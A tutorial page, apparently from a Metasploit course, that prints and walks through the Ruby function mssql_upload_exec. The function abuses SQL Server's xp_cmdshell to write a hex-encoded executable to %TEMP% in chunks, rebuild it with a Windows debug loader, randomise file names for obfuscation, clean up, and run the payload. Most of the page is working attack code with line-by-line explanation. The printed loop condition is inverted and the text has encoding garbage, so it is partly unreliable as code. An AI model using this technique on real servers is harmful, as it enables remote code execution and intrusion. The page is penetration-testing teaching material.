The Guts Behind It a11y.text The Guts Behind It Payloads Through MSSQLÂ Conclusion a11y.text Payloads Through MSSQLÂ Conclusion Looking int the mssql.rb file using a text editor, locate the â€˜mssql_upload_execâ€™. We should be presented with the following: #

```
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]

var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP%
directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end

print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug >
%TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe",
debug)
```

```
print_status("Uploading the payload, please be patient...")

idx = 0

cnt = 500

while(idx > hex.length - 1)

mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)

idx += cnt

end


print_status("Converting the encoded payload...")

mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)

mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)

mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)


print_status("Executing the payload...")

mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
```

end The def mssql_upload_exec(exe, debug=false) requires two parameters and sets the debug to false by default unless otherwise specified. def mssql_upload_exec(exe, debug=false) The hex = exe.unpack(â€œH*â€•)[0] is some Ruby Kung-Fuey that takes our generated executable and magically turns it into hexadecimal for us. hex = exe.unpack("H*")[0] var_bypass = rand_text_alpha(8) and var_payload = rand_text_alpha(8) creates two variables with a random set of 8 alpha characters, for example: PoLecJeX var_bypass = rand_text_alpha(8) The print status must always be used within Metasploit, â€˜putsâ€™ is no longer accepted in the framework. If you notice there are a couple things different for me vs. python, in the print_status youâ€™ll notice â€œ#{var_payload}.exe this substitutes the variable _var_payload into the print_status message, so you would essentially see portrayed back â€œPoLecJeX.exeâ€• print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") Moving on, the h2b =

File.read(datastore[â€˜HEX2BINARYâ€™], File.size[datastore[â€˜HEX2BINARYâ€™])) will read whatever the file specified in the â€œHEX2BINARYâ€• datastore, if you look at when we fired off the exploit, it was saying â€œh2bâ€•, this file is located at data/exploits/mssql/h2b , this is a file that I had previously created that is a specific format for windows debug that is essentially a simple bypass for removing restrictions on filesize limit. We first send this executable, windows debug converts it back to a binary for us, and then we send the metasploit payload and call our prior converted executable to convert our metasploit file. h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))

h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")

h2b.split(/\n/).each do |line| The h2b.gsuc!(/KemneE3N/, â€œ%TEMP%\\#{var_bypass}â€•) is simply substituting a hardcoded name with the dynamic one we created above, if you look at the h2b file, KemneE3N is called on multiple occasions and we want to randomly create a name to obfuscate things a little better. The gsub just substitutes the hardcoded with the random one. The h2b.split(/\n/).each do |line| will start a loop for us and split the bulky h2b file into multiple lines, reason being is we canâ€™t send the entire bulk file over at once, we have to send it a little at a time as the MSSQL protocol does not allow us very large transfers through SQL statements. Lastly, the mssql_xpcmdshell(â€œ#{line}â€•, false) sends the initial stager payload line by line while the false specifies debug as false and to not send the information back to us. The next few steps convert our h2b file to a binary for us utilizing Windows debug, we are using theÂ %TEMP% directory for more reliability. The mssql_xpcmdshell strored procedure is allowing this to occur. The idx = 0 will server as a counter for us to let us know when the filesize has been reached, and the cnt = 500 specifies how many characters we are sending at a time. The next line sends our payload to a new file 500 characters at a time, increasing the idx counter and ensuring that idx is still less than the hex.length blob. Once that has been finished the last few steps convert our metasploit payload back to an executable using our previously staged payload then executes it giving us our payload! idx = 0 So weâ€™ve walked through the creation of an overall attack vector and got more familiar with what goes on behind the curtains. If your thinking about creating a new module, look around there is usually something that you can use as a baseline to help you create it. Next Web Delivery Prev Creating Our Auxiliary Module